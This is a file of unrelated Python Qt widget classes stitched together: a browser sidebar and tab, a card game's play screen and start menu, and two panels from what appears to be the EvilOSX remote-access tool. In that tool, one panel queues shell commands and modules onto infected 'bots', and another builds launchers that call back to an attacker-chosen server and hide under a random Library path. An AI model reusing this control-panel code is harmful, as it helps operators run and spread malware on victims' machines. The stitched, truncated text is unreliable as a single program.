class SideBar(QWidget): def __init__(self, manager, window): super().__init__(window) self._window = window # BrowserWindow self._layout = None # QVBoxLayout self._titleBar = None # DockTitleBarWidget self._manager = manager # SideBarManager self.setObjectName('sidebar') self.setAttribute(Qt.WA_DeleteOnClose) self._layout = QVBoxLayout(self) self._layout.setContentsMargins(0, 0, 0, 0) self._layout.setSpacing(0) self.setLayout(self._layout) self._titleBar = DockTitleBarWidget('', self) self._layout.addWidget(self._titleBar) def showBookmarks(self): self._titleBar.setTitle(_('Bookmarks')) bar = BookmarksSideBar(self._window) self.setWidget(bar) def showHistory(self): self._titleBar.setTitle(_('History')) bar = HistorySideBar(self._window) self.setWidget(bar) def setTitle(self, title): self._titleBar.setTitle(title) def setWidget(self, widget): if self._layout.count() == 2: self._layout.removeItem(self._layout.itemAt(1)) if widget: self._layout.addWidget(widget) # Q_SLOTS def close(self): self._manager.closeSideBar() p = self.parentWidget() if p: p.setFocus() super().close()
class PlayWidget(QWidget): def __init__(self, parent): super(PlayWidget, self).__init__(parent) self.setAutoFillBackground(True) self.hlayout = QHBoxLayout(self) self.table_view = CardView(self) sizePolicy = QSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth( self.table_view.sizePolicy().hasHeightForWidth()) self.table_view.setSizePolicy(sizePolicy) self.table_view.setMinimumHeight(200) self.table_view.setBackgroundBrush(Qt.darkGreen) self.table_view.setGeometry(0, 0, 1028, 200) self.hand_view = HandCardView(self) sizePolicy = QSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth( self.hand_view.sizePolicy().hasHeightForWidth()) self.hand_view.setSizePolicy(sizePolicy) self.hand_view.setMinimumHeight(200) self.hand_view.setBackgroundBrush(Qt.darkGreen) self.hand_view.setGeometry(0, 0, 1028, 200) self.show_button = Button(self, 'Show Hand') self.show_button.setText("Show hand") self.show_button.clicked.connect(self.hand_view.show_cards) self.show_button.hide() self.move_button = Button(self, 'Make Move') self.move_button.setMinimumSize(300, 100) self.move_button.clicked.connect(self.attempt_move) self.move_button.hide() self.start_button = Button(self, 'Start Round') self.start_button.setMinimumHeight(100) self.start_button.clicked.connect(self.start_round) self.next_button = Button(self, 'Continue') self.next_button.setMinimumHeight(100) self.next_button.clicked.connect(self.goto_next_round) self.next_button.hide() self.quit_button = Button(self, 'Quit to menu') self.save_button = Button(self, 'Save') self.show_button.setMaximumWidth(150) self.move_button.setMaximumWidth(150) self.quit_button.setMaximumWidth(150) self.btnlayout = QHBoxLayout() self.btnlayout.addWidget(self.start_button) self.btn2layout = QHBoxLayout() self.btn2layout.addWidget(self.save_button) self.btn2layout.addWidget(self.quit_button) self.playlayout = QVBoxLayout() self.playlayout.addWidget(self.table_view) self.playlayout.addLayout(self.btnlayout) self.playlayout.addWidget(self.hand_view) self.playlayout.addLayout(self.btn2layout) self.hlayout.addLayout(self.playlayout) self.sidelayout = QVBoxLayout() self.log = QPlainTextEdit() self.log.setReadOnly(True) self.log.setPalette(QPalette(Qt.white)) self.log.setMaximumWidth(300) self.log.setMaximumHeight(200) self.sidelayout.addWidget(self.log) self.playerinfolayout = QVBoxLayout() self.sidelayout.addLayout(self.playerinfolayout) self.sidelayout.addItem( QSpacerItem(20, 40, QSizePolicy.Minimum, QSizePolicy.Expanding)) self.hlayout.addLayout(self.sidelayout) self.setup_sound() self.move_count = 0 self.speed = 3 self.game = None def init_game(self, game): self.game = game self.game.logSignal.connect(self.update_log) self.game.sweepSignal.connect(self.sweep_sound.play) self.game.new_round() self.shuffle_sound.play() self.game.initial_deal() self.move_count = 0 for player in self.game.players: self.playerinfolayout.addWidget(PlayerInfo(self, player)) def start_round(self): self.btnlayout.removeWidget(self.start_button) self.btnlayout.insertWidget(0, self.show_button) self.btnlayout.insertWidget(1, self.move_button) self.start_button.hide() self.show_button.show() self.move_button.show() self.table_view.update_scene(self.game.table) self.hand_view.update_scene(self.game.current_player.hand) self.hand_view.hide_cards() if type(self.game.current_player ) is not AIPlayer and self.game.one_human: self.hand_view.show_cards() self.playerinfolayout.itemAt( self.game.players.index( self.game.current_player)).widget().set_active() self.update_log('\n----------\n{}\'s turn\n'.format( self.game.current_player)) if type(self.game.current_player) is AIPlayer: self.move_button.setDisabled(True) self.show_button.setDisabled(True) self.save_button.setDisabled(True) self.make_ai_move() def resume_from_save(self, game, logmsg, movecount): self.game = game self.game.logSignal.connect(self.update_log) self.game.sweepSignal.connect(self.sweep_sound.play) self.log.insertPlainText(logmsg) self.log.insertPlainText( '\n----------------\n Resuming from save\n----------------\n\n') self.move_count = movecount for player in self.game.players: self.playerinfolayout.addWidget(PlayerInfo(self, player)) self.playerinfolayout.itemAt( self.game.players.index( self.game.current_player)).widget().set_active() def make_ai_move(self): self.game.select_move_for_ai() QTimer.singleShot(1500 // self.speed, self.show_ai_move) def show_ai_move(self): self.hand_view.auto_select() self.table_view.auto_select() self.card_sound.play() self.game.do_action() QTimer.singleShot(3000 // self.speed, self.after_ai_move_done) def after_ai_move_done(self): self.move_sound.play() self.playerinfolayout.itemAt( self.game.players.index( self.game.current_player)).widget().update_info() self.game.deal() self.table_view.update_scene(self.game.table) self.hand_view.update_scene(self.game.current_player.hand) self.hand_view.hide_cards() QTimer.singleShot(3000 // self.speed, self.end_turn) def attempt_move(self): if self.game.do_action(): self.move_sound.play() self.playerinfolayout.itemAt( self.game.players.index( self.game.current_player)).widget().update_info() self.move_button.setDisabled(True) self.table_view.update_scene(self.game.table) self.hand_view.update_scene(self.game.current_player.hand) QTimer.singleShot(1800 // self.speed, self.after_move_done) else: self.error_sound.play() def after_move_done(self): self.game.deal() self.hand_view.update_scene(self.game.current_player.hand) QTimer.singleShot(3000 // self.speed, self.end_turn) def end_turn(self): self.playerinfolayout.itemAt( self.game.players.index( self.game.current_player)).widget().set_inactive() self.game.next_player() self.playerinfolayout.itemAt( self.game.players.index( self.game.current_player)).widget().set_active() self.move_button.setDisabled(False) self.show_button.setDisabled(False) self.table_view.deselect_all() self.move_count += 1 if self.move_count == 48: self.end_round() return self.update_log('\n----------\n{}\'s turn\n'.format( self.game.current_player)) self.hand_view.update_scene(self.game.current_player.hand) self.hand_view.hide_cards() #if there is only one human player, his/her cards are shown automatically if type(self.game.current_player ) is not AIPlayer and self.game.one_human: self.hand_view.show_cards() self.alert_sound.play() if type(self.game.current_player) is AIPlayer: self.move_button.setDisabled(True) self.show_button.setDisabled(True) self.save_button.setDisabled(True) self.make_ai_move() return self.save_button.setDisabled(False) def end_round(self): self.save_button.setDisabled(True) self.playerinfolayout.itemAt( self.game.players.index( self.game.current_player)).widget().set_inactive() self.end_sound.play() game_ended = self.game.end_round() for i in range(self.playerinfolayout.count()): self.playerinfolayout.itemAt(i).widget().update_info() self.playerinfolayout.itemAt(i).widget().update_score() self.table_view.update_scene(self.game.table) self.btnlayout.removeWidget(self.show_button) self.btnlayout.removeWidget(self.move_button) self.btnlayout.insertWidget(0, self.next_button) self.next_button.show() self.show_button.hide() self.move_button.hide() if game_ended: self.next_button.setDisabled(True) def goto_next_round(self): self.save_button.setDisabled(False) self.btnlayout.removeWidget(self.next_button) self.btnlayout.insertWidget(0, self.start_button) self.start_button.show() self.next_button.hide() #rotate playerinfo mov = self.playerinfolayout.itemAt(0).widget() self.playerinfolayout.removeWidget(mov) self.playerinfolayout.addWidget(mov) self.game.new_round() self.shuffle_sound.play() for i in range(self.playerinfolayout.count()): self.playerinfolayout.itemAt(i).widget().update_info() self.game.new_round() self.game.initial_deal() self.move_count = 0 def setup_sound(self): self.shuffle_sound = QSoundEffect() self.shuffle_sound.setSource(QUrl.fromLocalFile('sound/shuffle.wav')) self.error_sound = QSoundEffect() self.error_sound.setSource(QUrl.fromLocalFile('sound/error.wav')) self.move_sound = QSoundEffect() self.move_sound.setSource(QUrl.fromLocalFile('sound/draw.wav')) self.card_sound = QSoundEffect() self.card_sound.setSource(QUrl.fromLocalFile('sound/playcard.wav')) self.sweep_sound = QSoundEffect() self.sweep_sound.setSource(QUrl.fromLocalFile('sound/sweep.wav')) self.alert_sound = QSoundEffect() self.alert_sound.setSource(QUrl.fromLocalFile('sound/alert.wav')) self.end_sound = QSoundEffect() self.end_sound.setSource(QUrl.fromLocalFile('sound/endturn.wav')) def reset(self): self.game = None def update_log(self, msg): self.log.insertPlainText(msg) self.log.ensureCursorVisible() #auto-scrolls to bottom of log def export_log(self): return self.log.toPlainText()
class StartMenu(QWidget): def __init__(self, parent): super(StartMenu, self).__init__(parent) self.tophbox = QHBoxLayout() self.hbox = QHBoxLayout() self.vbox = QVBoxLayout() self.label = QLabel() self.label.setPixmap(QPixmap('img/new-game.png')) self.label.setScaledContents(True) self.label.setFixedSize(600, 200) self.tophbox.addWidget(self.label) self.startbutton = Button(self, 'Start') self.startbutton.setEnabled(False) self.startbutton.setFixedHeight(100) self.tophbox.addWidget(self.startbutton) self.playeramt_label = QLabel('Number of players:') self.playeramt_label.setFixedWidth(125) self.playeramount = QComboBox() self.playeramount.setStyleSheet('color: rgb(0, 0, 0)') self.playeramount.setFixedWidth(50) self.playeramount.addItems([str(i) for i in range(2, 13)]) self.playeramount.setCurrentIndex(2) self.playeramount.setMaxVisibleItems(11) self.playeramount.currentTextChanged.connect(self.form_player_entries) self.score_label = QLabel('Score limit:') self.score_label.setFixedWidth(65) self.score_limit = QLineEdit() self.score_limit.setMaximumWidth(40) self.score_limit.setPalette(QPalette(Qt.white)) self.score_limit.setText('16') self.mode_label = QLabel('Game Mode:') self.mode_label.setFixedWidth(85) self.mode_select = QComboBox() self.mode_select.addItems(['Deal-1', 'Deal-4']) self.mode_select.setPalette(QPalette(Qt.white)) self.mode_select.setFixedWidth(100) self.mode_select.currentTextChanged.connect(self.update_playeramount) self.autofill_button = Button(self, 'Auto Fill') self.autofill_button.clicked.connect(self.auto_fill) self.clear_button = Button(self, 'Clear All') self.clear_button.clicked.connect(self.clear_all) self.player_entries = QVBoxLayout() self.spacer = QSpacerItem(20, 40, QSizePolicy.Minimum, QSizePolicy.Expanding) self.hbox.addWidget(self.playeramt_label) self.hbox.addWidget(self.playeramount) self.hbox.addWidget(self.score_label) self.hbox.addWidget(self.score_limit) self.hbox.addWidget(self.mode_label) self.hbox.addWidget(self.mode_select) self.hbox.addWidget(self.autofill_button) self.hbox.addWidget(self.clear_button) self.vbox.addLayout(self.tophbox) self.vbox.addLayout(self.hbox) self.vbox.addLayout(self.player_entries) self.vbox.addItem(self.spacer) self.setLayout(self.vbox) self.form_player_entries() def form_player_entries(self): amt = self.playeramount.currentIndex() + 2 #desired amount of player entries curr = self.player_entries.count() #current amount of player entries dif = amt - self.player_entries.count() #difference between desired and current entries if dif < 0: #if too many entries currently for i in range(curr-1, amt-1, -1): #remove starting from last entry rm = self.player_entries.itemAt(i).widget() self.player_entries.removeWidget(rm) rm.setParent(None) else: #if too few entries, add until desired amount reached for i in range(dif): new_entry = PlayerInfoField(self, self.player_entries.count()) new_entry.name_field.textChanged.connect(self.check_filled) self.player_entries.addWidget(new_entry) self.check_filled() def check_filled(self): #Enables start button when player fields are correctly filled ready = True for i in range(self.player_entries.count()): entry = self.player_entries.itemAt(i).widget() if entry.name_field.text() == '': ready = False break if ready: self.startbutton.setEnabled(True) else: self.startbutton.setEnabled(False) def auto_fill(self): #Generates fills the rest of the form automatically for i in range(self.player_entries.count()): entry = self.player_entries.itemAt(i).widget() if entry.name_field.text() == '': entry.generate_name() entry.AItoggle.setChecked(True) def clear_all(self): for i in range(self.player_entries.count()): entry = self.player_entries.itemAt(i).widget() entry.name_field.clear() entry.AItoggle.setChecked(False) def update_playeramount(self, mode): ind = self.playeramount.currentIndex() if mode == 'Deal-1': #Limit max players to 12 self.playeramount.clear() self.playeramount.addItems([str(i) for i in range(2, 13)]) self.playeramount.setCurrentIndex(ind) if mode == 'Deal-4': #Limit max players to 4 self.playeramount.clear() self.playeramount.addItems([str(i) for i in range(2, 5)]) self.playeramount.setCurrentIndex(min(2, ind)) self.check_filled() def extract_info_and_init_game(self): #Creates a game object based on the info pointlimit = int(self.score_limit.text()) dealmode = self.mode_select.currentIndex() game = Game(pointlimit, dealmode) for i in range(self.player_entries.count()): entry = self.player_entries.itemAt(i).widget() name = entry.name_field.text() if entry.AItoggle.isChecked(): difficulty = entry.AIdifficulty.currentIndex() game.add_player(name, difficulty) else: game.add_player(name, 5) return game
class _ExecuteTab(QTabWidget): """Tab used to execute modules or shell commands on the selected bot.""" def __init__(self, responses_tab: _ResponsesTab, model): super().__init__() self._model = model self._current_layout = None self._current_bot = None self._layout = QGridLayout() self._sub_layout = QVBoxLayout() self._module_view = ModuleView(responses_tab) self._layout.setAlignment(Qt.AlignTop) self.setLayout(self._layout) self.set_empty_layout() def set_current_bot(self, bot: Bot): """Sets the connected bot this tab will interact with.""" self._current_bot = bot def _clear_layout(self): while self._layout.count(): child = self._layout.takeAt(0) if child.widget(): child.widget().deleteLater() while self._sub_layout.count(): child = self._sub_layout.takeAt(0) if child.widget(): child.widget().deleteLater() def set_empty_layout(self): """Default layout shown when the user has not yet selected a row.""" self._current_layout = "Empty" self._clear_layout() self._layout.addWidget( QLabel("Please select a bot in the table above."), 0, 0) def set_module_layout(self, module_name: str = "screenshot"): """Sets the layout which can execute modules.""" self._current_layout = "Module" self._clear_layout() command_type_label = QLabel("Command type: ") command_type_combobox = QComboBox() command_type_combobox.addItem("Module") command_type_combobox.addItem("Shell") module_label = QLabel("Module name: ") module_combobox = QComboBox() for module_name in modules.get_names(): module_combobox.addItem(module_name) module_combobox.currentTextChanged.connect(self._on_module_change) command_type_combobox.currentTextChanged.connect( self._on_command_type_change) self._layout.setColumnStretch(1, 1) self._layout.addWidget(command_type_label, 0, 0) self._layout.addWidget(command_type_combobox, 0, 1) self._layout.addWidget(module_label, 1, 0) self._layout.addWidget(module_combobox, 1, 1) # Module layout cached_module = modules.get_module(module_name) if not cached_module: cached_module = modules.load_module(module_name, self._module_view, self._model) input_fields = [] for option_name in cached_module.get_setup_messages(): input_field = QLineEdit() self._sub_layout.addWidget(QLabel(option_name)) self._sub_layout.addWidget(input_field) input_fields.append(input_field) run_button = QPushButton("Run") run_button.setMaximumWidth(250) run_button.setMinimumHeight(25) run_button.pressed.connect(lambda: self._on_module_run( module_combobox.currentText(), input_fields)) self._sub_layout.addWidget(QLabel("")) self._sub_layout.addWidget(run_button) self._sub_layout.setContentsMargins(0, 15, 0, 0) self._layout.addLayout(self._sub_layout, self._layout.rowCount() + 2, 0, 1, 2) self._on_module_change(module_combobox.currentText()) def set_shell_layout(self): """Sets the layout which can execute shell commands.""" self._current_layout = "Shell" self._clear_layout() command_type_label = QLabel("Command type: ") command_type_combobox = QComboBox() command_type_combobox.addItem("Shell") command_type_combobox.addItem("Module") command_label = QLabel("Command:") command_input = QLineEdit() run_button = QPushButton("Run") run_button.setMaximumWidth(250) run_button.setMinimumHeight(25) command_type_combobox.currentTextChanged.connect( self._on_command_type_change) run_button.pressed.connect(lambda: self._on_command_run(command_input)) self._layout.addWidget(command_type_label, 0, 0) self._layout.addWidget(command_type_combobox, 0, 1) self._layout.addWidget(command_label, 1, 0) self._layout.addWidget(command_input, 1, 1) self._sub_layout.addWidget(QLabel("")) self._sub_layout.addWidget(run_button) self._sub_layout.setContentsMargins(0, 15, 0, 0) self._layout.addLayout(self._sub_layout, self._layout.rowCount() + 2, 0, 1, 2) def _on_command_type_change(self, text: str): """Handles the command type combobox change event.""" if text == "Module": self.set_module_layout() else: self.set_shell_layout() def _on_module_change(self, module_name: str): """Handles module combobox changes.""" while self._sub_layout.count(): child = self._sub_layout.takeAt(0) if child.widget(): child.widget().deleteLater() cached_module = modules.get_module(module_name) if not cached_module: cached_module = modules.load_module(module_name, self._module_view, self._model) input_fields = [] for option_name in cached_module.get_setup_messages(): input_field = QLineEdit() input_fields.append(input_field) self._sub_layout.addWidget(QLabel(option_name)) self._sub_layout.addWidget(input_field) run_button = QPushButton("Run") run_button.setMaximumWidth(250) run_button.setMinimumHeight(25) run_button.pressed.connect( lambda: self._on_module_run(module_name, input_fields)) self._sub_layout.addWidget(QLabel("")) self._sub_layout.addWidget(run_button) self._sub_layout.setContentsMargins(0, 15, 0, 0) def display_info(self, text: str): message_box = QMessageBox() message_box.setIcon(QMessageBox.Information) message_box.setWindowTitle("Information") message_box.setText(text) message_box.setStandardButtons(QMessageBox.Ok) message_box.exec_() def _on_module_run(self, module_name: str, input_fields: list): """Handles running modules.""" set_options = [] for input_field in input_fields: set_options.append(input_field.text()) module = modules.get_module(module_name) if not module: module = modules.load_module(module_name, self._module_view, self._model) successful, options = module.setup(set_options) if successful: if module_name == "remove_bot": code = loaders.get_remove_code(self._current_bot.loader_name) elif module_name == "update_bot": code = loaders.get_update_code(self._current_bot.loader_name) else: code = modules.get_code(module_name) if not options: options = {} options["module_name"] = module_name self._model.add_command(self._current_bot.uid, Command(CommandType.MODULE, code, options)) self.display_info("Module added to the queue of:\n {}@{}".format( self._current_bot.username, self._current_bot.hostname)) def _on_command_run(self, command_input: QLineEdit): """Handles running commands.""" if command_input.text().strip() == "": return self._model.add_command( self._current_bot.uid, Command(CommandType.SHELL, command_input.text().encode())) command_input.clear() self.display_info("Command added to the queue of:\n {}@{}".format( self._current_bot.username, self._current_bot.hostname))
class _BuilderTab(QWidget): """Handles the creation of launchers.""" def __init__(self): super().__init__() self._layout = QVBoxLayout() host_label = QLabel("Server host (where EvilOSX will connect to):") self._host_field = QLineEdit() self._layout.addWidget(host_label) self._layout.addWidget(self._host_field) port_label = QLabel("Server port:") self._port_field = QLineEdit() self._layout.addWidget(port_label) self._layout.addWidget(self._port_field) live_label = QLabel( "Where should EvilOSX live? (Leave empty for ~/Library/Containers/.<RANDOM>): " ) self._live_field = QLineEdit() self._layout.addWidget(live_label) self._layout.addWidget(self._live_field) launcher_label = QLabel("Launcher name:") self._launcher_combobox = QComboBox() for launcher_name in launchers.get_names(): self._launcher_combobox.addItem(launcher_name) self._layout.addWidget(launcher_label) self._layout.addWidget(self._launcher_combobox) loader_label = QLabel("Loader name:") loader_combobox = QComboBox() self._loader_layout = QVBoxLayout() for loader_name in loaders.get_names(): loader_combobox.addItem(loader_name) self._layout.addWidget(loader_label) self._layout.addWidget(loader_combobox) loader_combobox.currentTextChanged.connect(self._set_on_loader_change) # Dynamically loaded loader layout self._layout.addLayout(self._loader_layout) self._set_on_loader_change(loader_combobox.currentText()) self._layout.setContentsMargins(10, 10, 10, 0) self._layout.setAlignment(Qt.AlignTop) self.setLayout(self._layout) def _set_on_loader_change(self, new_text: str): """Handles the loader combobox change event.""" while self._loader_layout.count(): child = self._loader_layout.takeAt(0) if child.widget(): child.widget().deleteLater() input_fields = [] for message in loaders.get_option_messages(new_text): input_field = QLineEdit() self._loader_layout.addWidget(QLabel(message)) self._loader_layout.addWidget(input_field) input_fields.append(input_field) create_button = QPushButton("Create launcher") create_button.setMaximumWidth(250) create_button.setMinimumHeight(30) create_button.pressed.connect(lambda: self._on_create_launcher( self._host_field.text(), self._port_field.text(), self._live_field.text(), new_text, self._launcher_combobox.currentText(), input_fields)) self._loader_layout.addWidget(QLabel("")) self._loader_layout.addWidget(create_button) @staticmethod def display_error(text: str): """Displays an error message to the user.""" message = QMessageBox() message.setIcon(QMessageBox.Critical) message.setWindowTitle("Error") message.setText(text) message.setStandardButtons(QMessageBox.Ok) message.exec_() @staticmethod def display_info(text: str): message = QMessageBox() message.setIcon(QMessageBox.Information) message.setWindowTitle("Information") message.setText(text) message.setStandardButtons(QMessageBox.Ok) message.exec_() def _on_create_launcher(self, server_host, server_port, program_directory, loader_name: str, launcher_name: str, input_fields: list): """Creates the launcher and outputs it to the builds directory.""" if not self._host_field.text(): self.display_error("Invalid host specified.") elif not str(self._port_field.text()).isdigit(): self.display_error("Invalid port specified.") else: set_options = [] for field in input_fields: set_options.append(field.text()) loader_options = loaders.get_options(loader_name, set_options) loader_options["program_directory"] = program_directory stager = launchers.create_stager(server_host, server_port, loader_options) launcher_extension, launcher = launchers.generate( launcher_name, stager) launcher_path = path.realpath( path.join( path.dirname(__file__), path.pardir, path.pardir, "data", "builds", "Launcher-{}.{}".format( str(uuid4())[:6], launcher_extension))) with open(launcher_path, "w") as output_file: output_file.write(launcher) self.display_info( "Launcher written to: \n{}".format(launcher_path))
class WebTab(QWidget): class SavedTab(object): def __init__(self, webTab=None): self.title = '' self.url = QUrl() self.icon = QIcon() self.history = QByteArray() self.isPinned = False self.zoomLevel = 1 self.parentTab = -1 self.childTabs = [] self.sessionData = {} if webTab: self.setWebTab(webTab) def __getstate__(self): result = dict(self.__dict__) result['url'] = result['url'].toEncoded() data = QByteArray() ds = QDataStream(data, QIODevice.WriteOnly) ds.writeQVariant(self.icon) result['icon'] = data.data() return result def __setstate__(self, state): for key, val in state.items(): if key == 'url': self.__dict__[key] = QUrl.fromEncoded(val) elif key == 'icon': ds = QDataStream(QByteArray(val)) self.__dict__[key] = ds.readQVariant() else: self.__dict__[key] = val def setWebTab(self, webTab): self.title = webTab.title() self.url = webTab.url() self.icon = webTab.icon() self.history = webTab.historyData() self.isPinned = webTab.isPinned() self.zoomLevel = webTab.zoomLevel() if webTab.parentTab(): self.parentTab = webTab.parentTab().tabIndex() else: self.parentTab = -1 self.childTabs = [ tab.tabIndex() for tab in webTab.childTabs() ] self.sessionData = webTab.sessionData() def isValid(self): return not self.url.isEmpty() or not self.history.isEmpty() def clear(self): self.title = '' self.url = QUrl() self.icon = QIcon() self.history = QByteArray() self.isPinned = False self.zoomLevel = 1 self.parentTab = -1 self.childTabs = [] self.sessionData = {} # type AddChildBehavior AppendChild = 0 PrependChild = 1 s_addChildBehavior = AppendChild def __init__(self, parent=None): super(WebTab, self).__init__(parent) self.setObjectName('webtab') self._tabBar = None self._window = None self._parentTab = None self._childTabs = [] self._sessionData = {} self._savedTab = self.SavedTab() self._isPinned = False self._isCurrentTab = False self._webView = TabbedWebView(self) self._webView.setPage(WebPage()) self._webView.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Expanding) self.setFocusProxy(self._webView) self._locationBar = LocationBar(self) self._locationBar.setWebView(self._webView) self._tabIcon = TabIcon(self) self._tabIcon.setWebTab(self) self._layout = QVBoxLayout(self) self._layout.setContentsMargins(0, 0, 0, 0) self._layout.setSpacing(0) self._layout.addWidget(self._webView) viewWidget = QWidget(self) viewWidget.setLayout(self._layout) self._splitter = QSplitter(Qt.Vertical, self) self._splitter.setChildrenCollapsible(False) self._splitter.addWidget(viewWidget) layout = QVBoxLayout(self) layout.setContentsMargins(0, 0, 0, 0) layout.setSpacing(0) layout.addWidget(self._splitter) self.setLayout(layout) self._notificationWidget = QWidget(self) self._notificationWidget.setAutoFillBackground(True) pal = self._notificationWidget.palette() pal.setColor(QPalette.Window, pal.window().color().darker(110)) self._notificationWidget.setPalette(pal) nlayout = QVBoxLayout(self._notificationWidget) nlayout.setSizeConstraint(QLayout.SetMinAndMaxSize) nlayout.setContentsMargins(0, 0, 0, 0) nlayout.setSpacing(1) self._webView.showNotification.connect(self.showNotification) self._webView.loadFinished.connect(self.loadFinished) self._webView.titleChanged.connect(self.titleWasChanged) self._webView.titleChanged.connect(self.titleChanged) self._webView.iconChanged.connect(self.iconChanged) self._webView.backgroundActivityChanged.connect(self.backgroundActivityChanged) self._webView.loadStarted.connect(lambda: self.loadingChanged.emit(True)) self._webView.loadFinished.connect(lambda: self.loadingChanged.emit(False)) def pageChanged(page): page.audioMutedChanged.connect(self.playingChanged) page.recentlyAudibleChanged.connect(self.mutedChanged) pageChanged(self._webView.page()) self._webView.pageChanged.connect(pageChanged) def tabIconResized(): if self._tabBar: self._tabBar.update() self._tabIcon.resized.connect(tabIconResized) def browserWindow(self): ''' @return BrowserWindow ''' return self._window def webView(self): ''' @return TabbedWebView ''' return self._webView def locationBar(self): ''' @return LocationBar ''' return self._locationBar def tabIcon(self): ''' @return TabIcon ''' return self._tabIcon def parentTab(self): ''' @return WebTab ''' return self._parentTab def setParentTab(self, tab): if self._isPinned or self._parentTab == tab: return if tab and tab.isPinned(): return if self._parentTab: index = self._parentTab._childTabs.index(self) if index >= 0: self._parentTab._childTabs.pop(index) self._parentTab.childTabRemoved.emit(self, index) self._parentTab = tab if tab: self._parentTab = None tab.addChildTab(self) else: self.parentTabChanged.emit(self._parentTab) def addChildTab(self, tab, index=-1): if self._isPinned or not tab or tab.isPinned(): return oldParent = tab._parentTab tab._parentTab = self if oldParent: index = oldParent._childTabs.index(tab) if index >= 0: oldParent._childTabs.pop(index) oldParent.childTabRemoved.emit(tab, index) if index < 0 or index > len(self._childTabs): index = 0 if self.addChildBehavior() == self.AppendChild: index = len(self._childTabs) else: # PrependChild index = 0 self._childTabs.insert(index, tab) self.childTabAdded.emit(tab, index) tab.parentTabChanged.emit(self) def childTabs(self): ''' @return QVector<WebTab*> ''' return self._childTabs def sessionData(self): ''' @return {} ''' return self._sessionData def setSessionData(self, key, value): self._sessionData[key] = value def url(self): if self.isRestored(): if self._webView.url().isEmpty() and self._webView.isLoading(): return self._webView.page().requestedUrl() return self._webView.url() else: return self._savedTab.url def title(self, allowEmpty=False): if self.isRestored(): return self._webView.title(allowEmpty) else: return self._savedTab.title def icon(self, allowNull=False): if self.isRestored(): return self._webView.icon(allowNull) if allowNull or not self._savedTab.icon.isNull(): return self._savedTab.icon return IconProvider.emptyWebIcon() def history(self): ''' @return QWebEngineHistory ''' return self._webView.history() def zoomLevel(self): return self._webView.zoomLevel() def setZoomLevel(self, level): self._webView.setZoomLevel(level) def detach(self): assert(self._window) assert(self._tabBar) # Remove from tab tree self.removeFromTabTree() # Remove icon from tab self._tabBar.setTabButton(self.tabIndex(), self._tabBar.iconButtonPosition(), None) self._tabIcon.setParent(self) # Remove the tab from tabbar self._window.tabWidget().removeTab(self.tabIndex()) self.setParent(None) # Remove the locationbar from window self._locationBar.setParent(self) # Detach TabbedWindow self._webView.setBrowserWindow(None) if self._isCurrentTab: self._isCurrentTab = False self.currentTabChanged.emit(self._isCurrentTab) self._tabBar.currentChanged.disconnect(self.onCurrentChanged) self._window = None self._tabBar = None def onCurrentChanged(self, index): wasCurrent = self._isCurrentTab self._isCurrentTab = index == self.tabIndex() if wasCurrent != self._isCurrentTab: self.currentTabChanged.emit(self._isCurrentTab) def attach(self, window): self._window = window self._tabBar = self._window.tabWidget().tabBar() self._webView.setBrowserWindow(self._window) self._locationBar.setBrowserWindow(self._window) self._tabBar.setTabText(self.tabIndex(), self.title()) self._tabBar.setTabButton(self.tabIndex(), self._tabBar.iconButtonPosition(), self._tabIcon) QTimer.singleShot(0, self._tabIcon.updateIcon) self.onCurrentChanged(self._tabBar.currentIndex()) self._tabBar.currentChanged.connect(self.onCurrentChanged) def historyData(self): ''' @return QByteArray ''' if self.isRestored(): historyArray = QByteArray() stream = QDataStream(historyArray, QIODevice.WriteOnly) history = self._webView.history() stream << history return historyArray else: return self._savedTab.history def stop(self): self._webView.stop() def reload(self): self._webView.reload() def load(self, request): ''' @param: requset LoadRequest ''' if self.isRestored(): self.tabActivated() QTimer.singleShot(0, lambda: self.load(request)) else: self._webView.load(request) def unload(self): self._savedTab = self.SavedTab(self) self.restoredChanged.emit(self.isRestored()) self._webView.setPage(WebPage()) self._webView.setFocus() def isLoading(self): return self._webView.isloading() def isPinned(self): return self._isPinned def setPinned(self, state): if self._isPinned == state: return if state: self.removeFromTabTree() self._isPinned = state self.pinnedChanged.emit(self._isPinned) def togglePinned(self): assert(self._tabBar) assert(self._window) self.setPinned(not self.isPinned()) self._window.tabWidget().pinUnPinTab(self.tabIndex(), self.title()) def isMuted(self): return self._webView.page().isAudioMuted() def isPlaying(self): return self._webView.page().recentlyAudible() def setMuted(self, muted): self._webView.page().setAudioMuted(muted) def toggleMuted(self): self.setMuted(not self.isMuted()) def backgroundActivity(self): return self._webView.backgroundActivity() def tabIndex(self): index = -1 if self._tabBar: index = self._tabBar.tabWidget().indexOf(self) return index def isCurrentTab(self): return self._isCurrentTab def makeCurrentTab(self): if self._tabBar: self._tabBar.tabWidget().setCurrentIndex(self.tabIndex()) def closeTab(self): if self._tabBar: self._tabBar.tabWidget().closeTab(self.tabIndex()) def moveTab(self, to): if self._tabBar: self._tabBar.tabWidget().moveTab(self.tabIndex(), to) def haveInspector(self): return self._splitter.count() > 1 and self._splitter.widget(1).inherits('WebInspector') def showWebInspector(self, inspectElement=False): if not WebInspector.isEnabled() or self.haveInspector(): return inspector = WebInspector(self) inspector.setView(self._webView) if inspectElement: inspector.inspectElement() height = inspector.sizeHint().height() self._splitter.addWidget(inspector) self._splitter.setSizes((self._splitter.height() - height, height)) def toggleWebInspector(self): if not self.haveInspector(): self.showWebInspector() else: self._splitter.widget(1).destroy() # TODO: del? def showSearchToolBar(self, searchText=''): index = 1 toolBar = None if self._layout.count() == 1: toolBar = SearchToolBar(self._webView, self) self._layout.insertWidget(index, toolBar) if self._layout.count() == 2: assert(isinstance(self._layout.itemAt(index).widget(), SearchToolBar)) toolBar = self._layout.itemAt(index).widget() assert(toolBar) if not searchText: toolBar.setText(searchText) toolBar.focusSearchLine() def isRestored(self): return not self._savedTab.isValid() def restoreTab(self, tab): ''' @param: tab SavedTab ''' assert(self._tabBar) self.setPinned(tab.isPinned) self._sessionData = tab.sessionData if not self.isPinned() and gVar.appSettings.loadTabsOnActivation: self._savedTab = tab self.restoredChanged.emit(self.isRestored()) index = self.tabIndex() self._tabBar.setTabText(index, tab.title) self._locationBar.showUrl(tab.url) self._tabIcon.updateIcon() else: # This is called only on restore session and restoring tabs # immediately crashes QtWebEngine, waiting after initialization is # 